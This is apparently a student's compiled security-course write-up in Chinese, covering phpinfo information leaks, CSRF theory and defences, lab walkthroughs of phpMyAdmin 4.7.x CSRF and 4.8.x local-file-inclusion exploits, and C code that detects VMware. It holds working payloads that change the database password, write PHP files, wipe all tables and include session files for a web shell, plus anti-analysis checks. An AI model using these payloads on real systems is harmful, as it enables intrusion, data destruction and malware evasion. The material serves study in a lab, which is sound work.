20155236范晨歌免考项目

  1. PHP和PHPinfo的简单介绍
    https://www.cnblogs.com/fcgfcgfcg/p/9234978.html
  2. 通过CSRF漏洞加深理解
    https://www.cnblogs.com/fcgfcgfcg/p/9244626.html
  3. phpMyAdmin 4.7.x CSRF 漏洞利用及phpMyAdmin介绍
    https://www.cnblogs.com/fcgfcgfcg/p/9221217.html
  4. phpMyAdmin 4.8.x 本地文件包含漏洞利用
    https://www.cnblogs.com/fcgfcgfcg/p/9235040.html
  5. 虚拟机检测程序
    https://www.cnblogs.com/fcgfcgfcg/p/9272944.html
  6. 暴力破解
    https://www.cnblogs.com/fcgfcgfcg/p/9272927.html

PHP和PHPinfo

PHP开放源码和跨越平台,PHP可以运行在WINDOWS和多种版本的LINUX上。它不需要任何预先处理而快速反馈结果,它也不需要mod_perl的调整来使您的服务器的内存映象减小。PHP消耗的资源较少,当PHP作为ApacheWeb服务器一部分时,运行代码不需要调用外部二进制程序,服务器不需要承担任何额外的负担。


关于PHP $_SERVER的一些使用方式

$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言 
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。 
$_SERVER['REMOTE_HOST'] //当前用户主机名 
$_SERVER['REQUEST_URI'] //URL

$_SERVER['REMOTE_PORT'] //端口。 
$_SERVER['SERVER_NAME'] //服务器主机的名称。 
$_SERVER['PHP_SELF']//正在执行脚本的文件名 
$_SERVER['argv'] //传递给该脚本的参数。 
$_SERVER['argc'] //传递给程序的命令行参数的个数。 
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。 
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串 
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本 
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法 
$_SERVER['QUERY_STRING'] //查询(query)的字符串。 
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录 
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。 
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。 
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容 
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。 
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。 
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。 
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off 
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。 
$_SERVER['SERVER_ADMIN'] #管理员信息 
$_SERVER['SERVER_PORT'] #服务器所使用的端口 
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。 
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。 
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。 
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。 
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。 
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型

  • 举个两小例子
    两种PHP获取服务器端IP地址的方法
if('/'==DIRECTORY_SEPARATOR){
   $server_ip=$_SERVER['SERVER_ADDR'];
}else{
   $server_ip=@gethostbyname($_SERVER['SERVER_NAME']);
}
echo $server_ip;
/**
* 获取服务器端IP地址
* @return string
*/

function get_server_ip(){
   if(isset($_SERVER)){
       if($_SERVER['SERVER_ADDR']){
           $server_ip=$_SERVER['SERVER_ADDR'];
       }else{
           $server_ip=$_SERVER['LOCAL_ADDR'];
       }
   }else{
       $server_ip = getenv('SERVER_ADDR');
   }
   return $server_ip;
}

echo get_server_ip();

为什么要使用phpinfo呢?

这一部分非常非常重要

  • PHP中提供了PHPInfo()函数,该函数返回 PHP 的所有信息,包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。

  • PHPInfo()函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此当访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险

下面我们重点学习一下:

(1)语法:int phpinfo(void);
他的返回值是一个整数
(2)使用方式:列如新建一个.php文件vi test.php
输入:<?php phpinfo(); ?>

来看一下泄漏了哪些比较敏感的信息。
1.++绝对路径(_SERVER[“script_FILENAME”])++
找到phpinfo()页面可以直接找到网站的绝对路径,对于写shell和信息搜集是必不可少的。
ep1:(PHP $_SERVER['SCRIPT_FILENAME'] 与 FILE)

<?php
echo 'SCRIPT_FILENAME 为:',$_SERVER['SCRIPT_FILENAME'];
echo '<br />';
echo '__FILE__ 为:',__FILE__;
?>

上述测试代码拷贝至 test.php 并访问该文件(http://localhost/test.php),得到如下结果:

SCRIPT_FILENAME 为:E:/web/html/php/test.php
__FILE__ 为:E:webhtmlphp	est.php 

2.++支持的程序++
可以通过phpinfo()查看一些特殊的程序服务,在没有思路的情况下,可以着重找一下ssrf

3.++泄漏真实ip(_SERVER[“SERVER_ADDR”]或SERVER_ADDR)++

4.++泄漏缓存文件地址(_FILES[“file1”])++
向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。

5.++一些敏感配置++
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等。
比如allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数,绕过执行、查看是否开启open_basedir,用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等。

我们简单用图片说明一下

  1. 我们可以看到PHP的版本

  2. 加载的php.ini文件,我们是可以看到该文件的路径的

  3. 还有就是php的zend(一般用于加密/提高性能)的版本和zend optimizers(一个为加速php脚本的执行,第二为给用zend加密的文件解密)的版本
    PS:如果php的脚本没有经过加密,那么zend optimizer可以不用安装!

    论坛文件目录中的api里面的一些文件是经过加密的,
    supesite( SupeSite可以实现对站内的论坛(Discuz!)、个人空间(X-Space)信息进行内容聚合。任何站长,都可以通过SupeSite,轻松构建一个面向Web2.0的社区门户。)的主程序的文件也是经过加密的,所以对于论坛来说,如果你想使用支付宝,奇虎搜索什么的,就必须安装zend optimizers,如果你想要安装supesite,必须得安装好zend optimizer!

    关于zend optimizer的加速功能,一般可以让php的执行速度提高到30%左右!
    所以如果是独立主机用户,最好是将zend optimizer安装上,这样不仅可以起到加速的作用,而且可以使你的空间完全
    支持论坛和supesite!

PS:
简单介绍一下安装过程

下载安装包后,直接双击安装即可,安装过程要你选择 Web Server 时,选择 Apache 2.x ,然后提示你是否 Restart Web Server,选择是,完成安装之前提示是否备份 php.ini ,点确定后安装完成。

Zend Optimizer 的加密作用

我们自己写一个php文件,里面就1行代码
<?php phpinfo(); ?>
把它保存为phpinfo.php,上传到服务器上,然后访问这个 PHP 文件。
如果看到里面有 Zend Optimizer 的版本信息。就说明服务器上支持 Zend Optimizer。版本信息一般是这样的:
with Zend Optimizer v版本号, Copyright (c) 1998-2007, by Zend Technologies
只要包含有 with Zend Optimizer,说明服务器支持 Zend Optimizer

  1. 上面指出zend的内核版本,下面指出zend optimizers版本,要使用我们的SupeSite产品,必须还得安装后者。当然zend optimizers安装时候,在页面里还有专门有一个zend optimizers模块,见图5

  2. 加载的模块
    phpinfo会列出你的系统的php加载了哪些模块,然后下面介绍几个比较重要的模块,第一个是gd库模块,很多用户不知道他的空间或者系统是否支持gd库,所以不确定是否可以用水印和缩略图功能,在phpinfo页面,同样可以展示gd库的信息,包括版本,freetype库,gif支持,jpg支持,png支持等等,这些都是很有用的信息,比如支持水印图片为gif的,那你的gd库就有得gig支持。如图所示:

  3. mysql模块
    第二个重要的就是mysql模块。很多用户认为只要成功安装mysql,他就可以安装Discuz!论坛了,其实这
    是一个误区,因为你没有确认你的php是否加载上了mysql支持。phpinfo就可以很好的检验到。如果你的
    phpinfo页面没有列出mysql模块扩展,那说明你的环境没有配置好

  4. 扩展模块
    php的其他扩展模块吧,比如mbstring,是支持宽字符集;ftp,这是支持Discuz!论坛后台的ftp附件,还有就是socket,这个是有些安装了supesite播客的用户支持影音上传的;ming,是支持Discuz!后台的Flash 验证码的。

phpinfo实在是一个很好的检验php环境的工具,大家如果遇到问题,不妨按照我们上面的,看看是不是哪些模块没加载上,如果访问phpinfo页面的时候变成了下载,那是你的php本身就没安好


CSRF攻击原理及防御

CSRF 跨站点请求伪造(Cross—Site Request Forgery)。

我的理解就是:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

  • 原理图:

    图CSRF原理图

这是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

session详解

一、术语session

  1. session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。有时候我们可以看到这样的话“在一个浏览器会话期间,...”,这里的会话一词用的就是其本义,是指从一个浏览器窗口打开到关闭这个期间①。最混乱的是“用户(客户端)在一次会话期间”这样一句话,它可能指用户的一系列动作(一般情况下是同某个具体目的相关的一系列动作,比如从登录到选购商品到结账登出这样一个网上购物的过程,有时候也被称为一个transaction),然而有时候也可能仅仅是指一次连接,也有可能是指含义。

  2. 然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义,“面向连接”指的是在通信双方在通信之前要先建立一个通信的渠道,比如打电话,直到对方接了电话通信才能开始,与此相对的是写信,在你把信发出去的时候你并不能确认对方的地址是否正确,通信渠道不一定能建立,但对发信人来说,通信已经开始了。“保持状态”则是指通信的一方能够把一系列的消息关联起来,使得消息之间可以互相依赖,比如一个服务员能够认出再次光临的老顾客并且记得上次这个顾客还欠店里一块钱。这一类的例子有“一个TCP session”或者“一个POP3 session”③。

  3. session在web开发语境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器之间保持状态的解决方案④。有时候session也用来指这种解决方案的存储结构,如“把xxx保存在session里”⑤。由于各种用于web开发的语言在一定程度上都提供了对这种解决方案的支持,所以在某种特定语言的语境下,session也被用来指代该语言的解决方案,比如经常把Java里提供的javax.servlet.http.HttpSession简称为session。

二、session和cookie

HTTP协议本身是无状态的,这与HTTP协议本来的目的是相符的,客户端只需要简单的向服务器请求下载某些文件,无论是客户端还是服务器都没有必要纪录彼此过去的行为,每一次请求之间都是独立的。

人们发现提供一些按需生成的动态信息会使web变得更加有用,就像给有线电视加上点播功能一样。这种需求一方面迫使HTML逐步添加了表单、脚本、DOM等客户端行为,另一方面在服务器端则出现了CGI规范以响应客户端的动态请求,作为传输载体的HTTP协议也添加了文件上载、cookie这些特性。其中cookie的作用就是为了解决HTTP协议无状态的缺陷所作出的努力。至于后来出现的session机制则是又一种在客户端与服务器之间保持状态的解决方案。

具体来说cookie机制采用的是在客户端保持状态的方案,而session机制采用的是在服务器端保持状态的方案。同时我们也看到,由于采用服务器端保持状态的方案在客户端也需要保存一个标识,所以session机制可能需要借助于cookie机制来达到保存标识的目的,

  • 我们举个简单的例子:
    1、该店的店员很厉害,能记住每位顾客的消费数量,只要顾客一走进咖啡店,店员就知道该怎么对待了。这种做法就是协议本身支持状态。 (HTTP协议是无状态的,而出于种种考虑也不希望使之成为有状态的)

    2、发给顾客一张卡片,上面记录着消费的数量,一般还有个有效期限。每次消费时,如果顾客出示这张卡片,则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。

    3、发给顾客一张会员卡,除了卡号之外什么信息也不纪录,每次消费时,如果顾客出示该卡片,则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。

三、cookie机制

正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。(纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。)

而cookie的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。

cookie的内容主要包括:名字,值,过期时间,路径和域。

  • 路径与域合在一起就构成了cookie的作用范围。如果不设置过期时间,则表示这个cookie的生命期为浏览器会话期间,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览器会话期的cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里,当然这种行为并不是规范规定的。如果设置了过期时间,浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie仍然有效直到超过设定的过期时间。

四、session机制

session机制是一种服务器端的机制,服务器使用一种类似于散列表(PS :根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。)的结构(也可能就是使用散列表)来保存信息。

当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否已包含了一个session标识 - 称为session id,如果已包含一个session id则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。

保存这个session id的方式可以采用cookie,这样在交互过程中浏览器可以自动的按照规则把这个标识发挥给服务器。一般这个cookie的名字都是类似于SEEESION ID.

EP:weblogic对于web应用程序生成的cookie

JSESSIONID=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764

的名字就是JSESSIONID。

  • 由于cookie可以被人为的禁止,必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写,就是把session id直接附加在URL路径的后面,附加方式也有两种:
    1. 一种是作为URL路径的附加信息,表现形式为
      http://...../xxx;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcE
    1. 另一种是作为查询字符串附加在URL后面,表现形式为http://...../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764

更详细的session应用问题我们可以参考博客:https://www.cnblogs.com/lonelydreamer/p/6169469.html

所以我们总结一下CSRF攻击步骤:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

网上看到一个很形象的例子:(CSRF实例攻击)

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。

这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

CSRF漏洞检测:

  • 检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。

  • 我们拿CSRFTester工具为例,说明一下CSRF漏洞检测工具的测试原理:
    使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

 

如何使用CSRF漏洞

  CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。
 如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
 

如何抵御CSRF攻击

通过 referer、token 或者 验证码 来检测用户提交。
尽量不要在页面的链接中暴露用户隐私信息。
对于用户修改删除等操作最好都使用post 操作。
避免全站通用的cookie,严格设置cookie的域。


phpMyAdmin 4.7.x CSRF 漏洞利用

phpMyAdmin

phpMyAdmin是一个以PHP(一种开源脚本语言)为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性


CSRF(PMASA-2017-9)漏洞

phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

我们可以结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。


过程

在线 phpMyAdmin CSRF
(PS:注:重启演示靶机即可重置靶机)

1.在线创建 phpMyAdmin 环境

点击 创建VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)

跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境

打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。

使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。

2.CSRF 漏洞利用 - 修改当前数据库用户密码

如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此我做了两个几种较为通用的利用方式。

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为www.vulnspy.com,对应的SQL语句为:

SET passsword=PASSWORD('www.vulnspy.com');

演示:

2.1模拟管理员登录phpMyAdmin的状态

用帐号 root 密码 toor 登录 phpMyAdmin 。

2.2 创建含有恶意代码的页面。

首先建立一个html文件:vi 2.payload.html

简单一点就只让他显示helloworld吧,因为目的是让他打开,内容不重要。
代码如下:

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用浏览器打开含有恶意代码的文件 2.payload.html

紧接着我们回到2.1中打开的界面,发现已自动退出,而且用原来的密码 toor 已经无法登录

2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功

3.CSRF 漏洞利用 - 写文件

MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入++PHP++文件。比如将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

演示:

3.1 修改代码
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用浏览器打开含有恶意代码的文件
3.3 访问 test.php

4 CSRF 漏洞利用 - 清空所有数据表

如何做到大范围破坏,并产生直接影响呢,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。
1)获取数据名和表名

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

2)将其拼接成删除语句,通过 execute 来执行生成的删除语句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;

3)execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行

DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
    CREATE PROCEDURE EMPT()
    BEGIN
        DECLARE i INT;
        SET i = 0;
        WHILE i < 100 DO
            SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
            PREPARE STMT FROM @del;
            EXECUTE STMT;
            SET i = i +1;
        END WHILE;
    END $$
DELIMITER ;
CALL EMPT();

演示:

4.1 payload如下
<p>Hello World</p>
<img src="虚拟地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
4.2 用浏览器打开含有恶意代码的文件
4.3 回到 phpMyAdmin 中查看数据

哎??我们发现:数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。


phpMyAdmin 4.8.x 本地文件包含漏洞利用

ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell。该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用。

这一部分我们需要先了解一下LFI漏洞(本地文件包含漏洞)

  • 典型漏洞代码: <!–?php include($_GET['pages'].‘.php’); ?–>

主要涉及到的函数有:
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等

利用总结见:LFI漏洞利用总结


我们继续使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用。
简而言之phpMyAdmin 4.8.x 本地文件包含漏洞就是通过编码绕过白名单检测。然后编者又发现:把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的

  • 因为原文中包含数据库文件可能由于文件权限或者帐号权限不足而无法利用,这里我们将使用另外一种方式来利用该文件包含漏洞,即包含session文件。

实践

  1. 跟上一个漏洞一样,我们创建完成后进行登录:

  2. 点击顶部导航栏中的SQL按钮,执行SQL查询:

select '<?php phpinfo();exit;?>'

  1. 获取自己的SESSION ID
    SESSION ID为:Cookie 中的 phpMyAdmin 项。

这样对应的SESSION文件为/var/lib/php/sessions/sess_SESSION ID
4. 包含SESSION文件,成功利用该漏洞

  • payload:
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k


虚拟机检测技术简单实践

概述

恶意软件

  • 恶意软件是指在计算机系统上执行恶意任务的病毒、蠕虫和特洛伊木马的程序,通过破坏软件进程来实施控制。恶意软件其本身可能是一种病毒,蠕虫,后门或漏洞攻击脚本,它通过动态地改变攻击代码可以逃避入侵检测系统的特征检测(Signature-based detection ,也可称为模式匹配)。攻击者常常利用这种多变代码进入互联网上的一些带有入侵侦测的系统或IDSes入侵者警告系统。

虚拟机

  • 所谓的虚拟机(Virtual Machine)是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。通过虚拟机软件(比如VMware,Virtual PC ,VirtualBox),你可以在一台物理计算机上模拟出一台或多台虚拟的计算机,这些虚拟机完全就像真正的计算机那样进行工作,例如你可以安装操作系统、安装应用程序、访问网络资源等等。

虚拟机检测技术

  • 在信息安全的研究范畴中,对恶意软件的分析一直是研究的热点。为了提高病毒分析过程的安全性以及硬件资源的节约性,分析恶意软件往往需要用到虚拟机技术,需要在一个虚拟的相对安全封闭的环境下测试恶意软件的工作特点。考虑到虚拟机可以完全像真正的计算机那样工作,而又不会影响到主机的使用,所以对病毒的行为分析往往在虚拟机中进行。
  • 基于此,病毒开发者肯定不愿意自己的病毒行为特征被分析出来,所以攻击者为了提高恶意程序的隐蔽性以及破坏真实主机的成功率,他们都在恶意程序中加入检测虚拟机的代码,以判断程序所处的运行环境。当发现程序处于虚拟机(特别是蜜罐系统)中时,它就会改变操作行为或者中断执行,掩盖其病毒的行为特征,以此提高反病毒人员分析恶意软件行为的难度。

原理介绍

### 基于CPU运算时间的检测 - 在虚拟机中,代码的运行速度通常不如真实主机。所以恶意代码通过运行一段特定的代码来比较这段代码在虚拟机和真实主机之中的相对运行时间,以此来判断是否处于虚拟机之中。 - ``` bool CheckVMware1() { __asm { rdtsc xchg ebx, eax rdtsc sub eax, ebx cmp eax, 0xFF jg detected } return FALSE; detected: return TRUE; } ```

基于注册表的检测

  • 通过读取主机具有虚拟机特性的注册表位置来判断是否处于虚拟机环境中。针对VMware可以判断注册表项HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe

bool CheckVMware2()
{
	HKEY hkey;
	if (RegOpenKey(HKEY_CLASSES_ROOT, "\Applications\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS)
	{
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}

基于当前进程信息的检测

  • 通过进程快照读取当前进程信息,查找是否存在虚拟机中特有的进程,如VMware中的vmtoolsd.exe

bbool CheckVMware3()
{
	PROCESSENTRY32 pe32;		//存放快照进程信息的一个结构体
	pe32.dwSize = sizeof(pe32);		//在使用这个结构之前,先设置它的大小
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);		//给系统内的所有进程拍一个快照
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	bool bMore = Process32First(hProcessSnap, &pe32);
	while (bMore)
	{
		if (strcmp((const char *)pe32.szExeFile, "vmtoolsd.exe") == 0)
		{
			return TRUE;
		}
		bMore = Process32Next(hProcessSnap, &pe32);
	}
	CloseHandle(hProcessSnap);
	return FALSE;
}

基于特定文件的检测

  • 通过查找磁盘中是否存在特定的文件夹或文件,判断当前是否在虚拟机中。VMware虚拟机中通常会有路径C:Program FilesVMwareVMware Tools

bool CheckVMware4()
{
	if (PathIsDirectory("C:\Program Files\VMware\VMware Tools\") == 0)
	{
		return FALSE;
	}
	else
	{
		return TRUE;
	}
}

基于注册服务的检测

  • 通过获取主机当前具有VMware特性的服务信息,判断当前主机是否为虚拟机,在VMware中通常会存在VMware物理磁盘助手服务和VMware Tools服务等。

bool CheckVMware5()
{
	//打开系统服务控制器    
	SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
	if (SCMan == NULL)
	{
		printf("%ld", GetLastError());
		printf("OpenSCManager Eorror/n");
		return -1;
	}
	//保存系统服务的结构  
	LPENUM_SERVICE_STATUSA service_status;
	DWORD cbBytesNeeded = NULL;
	DWORD ServicesReturned = NULL;
